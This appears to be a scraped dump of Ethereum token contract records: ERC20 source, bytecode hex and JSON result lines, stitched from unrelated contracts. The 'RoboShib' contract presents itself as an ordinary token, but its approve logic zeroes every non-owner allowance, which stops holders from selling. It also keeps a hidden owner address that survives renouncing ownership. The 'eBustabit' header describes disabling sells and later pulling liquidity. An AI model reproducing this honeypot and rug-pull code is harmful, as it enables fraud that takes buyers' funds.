* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 immutable private _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
/**
* @title StandardERC20
* @dev Implementation of the StandardERC20
*/
contract StandardERC20 is ERC20Decimals {
constructor (
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_
)
ERC20(name_, symbol_)
ERC20Decimals(decimals_)
{
require(initialBalance_ > 0, "StandardERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override returns (uint8) {
return super.decimals();
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012957806370a082311461013c57806395d89b411461014f578063a457c2d714610157578063a9059cbb1461016a578063dd62ed3e1461017d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ec57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b6610190565b6040516100c3919061070d565b60405180910390f35b6100df6100da3660046106d9565b610222565b6040516100c39190610702565b6100f461023f565b6040516100c39190610941565b6100df61010f36600461069e565b610245565b61011c6102e5565b6040516100c3919061094a565b6100df6101373660046106d9565b6102f4565b6100f461014a36600461064b565b610343565b6100b6610362565b6100df6101653660046106d9565b610371565b6100df6101783660046106d9565b6103ec565b6100f461018b36600461066c565b610400565b60606003805461019f90610987565b80601f01602080910402602001604051908101604052809291908181526020018280546101cb90610987565b80156102185780601f106101ed57610100808354040283529160200191610218565b820191906000526020600020905b8154815290600101906020018083116101fb57829003601f168201915b5050505050905090565b600061023661022f61042b565b848461042f565b50600192915050565b60025490565b60006102528484846104e3565b6001600160a01b03841660009081526001602052604081208161027361042b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156102bf5760405162461bcd60e51b81526004016102b69061082b565b60405180910390fd5b6102da856102cb61042b565b6102d58685610970565b61042f565b506001949350505050565b60006102ef61060b565b905090565b600061023661030161042b565b84846001600061030f61042b565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546102d59190610958565b6001600160a01b0381166000908152602081905260409020545b919050565b60606004805461019f90610987565b6000806001600061038061042b565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156103cc5760405162461bcd60e51b81526004016102b6906108fc565b6103e26103d761042b565b856102d58685610970565b5060019392505050565b60006102366103f961042b565b84846104e3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166104555760405162461bcd60e51b81526004016102b6906108b8565b6001600160a01b03821661047b5760405162461bcd60e51b81526004016102b6906107a3565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104d6908590610941565b60405180910390a3505050565b6001600160a01b0383166105095760405162461bcd60e51b81526004016102b690610873565b6001600160a01b03821661052f5760405162461bcd60e51b81526004016102b690610760565b61053a83838361062f565b6001600160a01b038316600090815260208190526040902054818110156105735760405162461bcd60e51b81526004016102b6906107e5565b61057d8282610970565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906105b3908490610958565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105fd9190610941565b60405180910390a350505050565b7f000000000000000000000000000000000000000000000000000000000000000990565b505050565b80356001600160a01b038116811461035d57600080fd5b60006020828403121561065c578081fd5b61066582610634565b9392505050565b6000806040838503121561067e578081fd5b61068783610634565b915061069560208401610634565b90509250929050565b6000806000606084860312156106b2578081fd5b6106bb84610634565b92506106c960208501610634565b9150604084013590509250925092565b600080604083850312156106eb578182fd5b6106f483610634565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b818110156107395785810183015185820160400152820161071d565b8181111561074a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b6000821982111561096b5761096b6109c2565b500190565b600082821015610982576109826109c2565b500390565b60028104600182168061099b57607f821691505b602082108114156109bc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212208894525f4bf686b276ea8db91aede5245b241eb16becd3f8b8cf4788b4e4a6bd64736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 6,359 |
0x7eba76a78006eb1892eb4449a57b07c8b6b7d7bd
|
/**
*Submitted for verification at Etherscan.io on 2021-12-14
*/
/*
RoboShib is a decentralized
token on ETHEREUM with leading
tokenomics that rewards all holders.
RoboShib is a innovative token with mass appeal and ready
to take the crypto world by storm! Join the telegram and come
be a part of this moon mission.
🌐 Socials
Website: https://www.RoboShib.com
Telegram: https://t.me/roboshib
Twitter: https://twitter.com/roboshib
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract RoboShib is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'RoboShib ' ;
string private _symbol = 'ROBOSHIB';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122079fdb4939cb24f7287a5436cbff094a1145b7977b69bd47367d1ec98c5836dc864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,360 |
0xefe7906af6e53ba23b1d82dec40cb51cff1b413b
|
/**
|_ _ \ / |_ [ | (_) / |_
.---. ______ | |_) | __ _ .--. `| |-',--. | |.--. __ `| |-'
/ /__\\|______|| __'.[ | | | ( (`\] | | `'_\ : | '/'`\ \[ | | |
| \__., _| |__) || \_/ |, `'.'. | |,// | |, | \__/ | | | | |,
'.__.' |_______/ '.__.'_/[\__) )\__/\'-;__/[__;.__.' [___]\__/
Welcome to eBustabit Round 1.
Telegram - t.me/ebustabit
Rules of the game -
After liquidity is added, buys will be enabled and sells will be disabled.
After a random time (0-2hours), sells will be turned on and we will notify 1 minute in advance in the Telegram.
From when sells are turned on you will have a random time to get out (0-2hours).
Once time is up, liqudity will be pulled.
Can you get out in time? Get in early and get out early and you could hit 10x+. Get out too late, and risk losing it all.
Liquidity from each round will be added to the next round.
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract eBustabit is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"eBustabit";
string private constant _symbol = "eBustabit";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
